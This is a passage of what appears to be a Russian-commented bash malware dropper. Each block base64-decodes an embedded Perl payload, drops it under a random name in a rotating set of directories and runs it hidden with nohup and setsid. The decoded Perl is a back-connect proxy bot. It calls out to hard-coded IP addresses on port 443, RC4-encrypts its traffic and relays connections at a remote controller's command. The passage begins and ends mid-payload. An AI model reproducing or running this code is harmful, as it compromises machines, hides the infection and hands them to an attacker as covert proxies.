Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #25 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #25 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 26 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xODInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #26 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #26 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 27 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xODMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk 